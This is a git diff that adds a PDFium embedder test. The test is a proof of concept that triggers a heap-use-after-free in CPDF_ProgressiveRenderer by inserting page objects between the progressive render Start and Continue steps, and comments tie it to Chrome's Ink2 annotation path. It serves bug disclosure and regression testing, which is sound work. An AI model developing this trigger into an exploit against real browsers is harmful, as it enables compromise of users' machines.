diff --git a/core/fpdfapi/render/fpdf_progressive_render_embeddertest.cpp b/core/fpdfapi/render/fpdf_progressive_render_embeddertest.cpp index 12a1db25d..b616000ee 100644 --- a/core/fpdfapi/render/fpdf_progressive_render_embeddertest.cpp +++ b/core/fpdfapi/render/fpdf_progressive_render_embeddertest.cpp @@ -11,6 +11,7 @@ #include "core/fxge/cfx_defaultrenderdevice.h" #include "core/fxge/dib/fx_dib.h" #include "public/cpp/fpdf_scopers.h" +#include "public/fpdf_edit.h" #include "public/fpdf_progressive.h" #include "testing/embedder_test.h" #include "testing/embedder_test_constants.h" @@ -456,3 +457,65 @@ TEST_F(FPDFProgressiveRenderEmbedderTest, RenderFormWithColorScheme) { /*color_scheme=*/nullptr, kWhite, kFormWithColorSchemeBasename); } + +// POC: Demonstrates that calling FPDFPage_InsertObject() between progressive +// render Start/Continue calls invalidates the persisted std::deque iterator +// `last_object_rendered_` in CPDF_ProgressiveRenderer, leading to a +// heap-use-after-free when Continue() resumes and increments the stale +// iterator. This mirrors what Chrome's Ink2 annotation path does via +// PDFiumEngine::ApplyStroke() -> WriteStrokeToPage() -> +// FPDFPage_InsertObject() while a progressive paint is mid-flight on the same +// page. +TEST_F(FPDFProgressiveRenderEmbedderTest, + InsertObjectBetweenProgressiveStepsInvalidatesIterator) { + ASSERT_TRUE(OpenDocument("rectangles.pdf")); + ScopedPage page = LoadScopedPage(0); + ASSERT_TRUE(page); + + // Step 1: Populate the page with enough in-clip path objects so that the + // progressive renderer pauses mid-deque after kStepLimit (=100) objects, + // parking `last_object_rendered_` in the middle of the + // CPDF_PageObjectHolder::page_object_list_ std::deque. + constexpr int kInitialObjects = 200; + for (int i = 0; i < kInitialObjects; ++i) { + FPDF_PAGEOBJECT rect = FPDFPageObj_CreateNewRect(10, 10, 50, 50); + ASSERT_TRUE(rect); + ASSERT_TRUE(FPDFPageObj_SetFillColor(rect, 255, 0, 0, 255)); + ASSERT_TRUE(FPDFPath_SetDrawMode(rect, FPDF_FILLMODE_ALTERNATE, 0)); + FPDFPage_InsertObject(page.get(), rect); + } + + // Step 2: Start progressive render. With FakePause(true), NeedToPauseNow() + // always returns true, so after rendering kStepLimit in-clip objects + // CPDF_ProgressiveRenderer::Continue() stores `last_object_rendered_` and + // returns kToBeContinued. + FakePause pause(true); + ASSERT_FALSE(StartRenderPage(page.get(), &pause)); + + // Step 3: While the progressive renderer is paused with a live iterator into + // page_object_list_, mutate the deque via the public editing API -- exactly + // what Chrome's Ink2 ApplyStroke() path does between paint yields. + // std::deque::push_back() invalidates ALL iterators per the C++ standard; + // with enough additions the libc++ deque's internal map buffer is freed and + // reallocated, leaving `last_object_rendered_.__m_iter_` pointing into freed + // heap. + constexpr int kAddedObjects = 10000; + for (int i = 0; i < kAddedObjects; ++i) { + FPDF_PAGEOBJECT rect = FPDFPageObj_CreateNewRect(10, 10, 50, 50); + ASSERT_TRUE(rect); + FPDFPage_InsertObject(page.get(), rect); + } + + // Step 4: Resume. CPDF_ProgressiveRenderer::Continue() at + // cpdf_progressiverenderer.cpp:69-71 copies and increments the stale + // `last_object_rendered_`. libc++'s __deque_iterator::operator++ reads + // `*__m_iter_` from the freed map buffer => heap-use-after-free, then + // dereferences the resulting wild block pointer as a + // unique_ptr and makes virtual calls on it. + // + // Under ASAN this aborts with heap-use-after-free in + // CPDF_ProgressiveRenderer::Continue(). + ContinueRenderPage(page.get(), &pause); + + FPDF_RenderPage_Close(page.get()); +}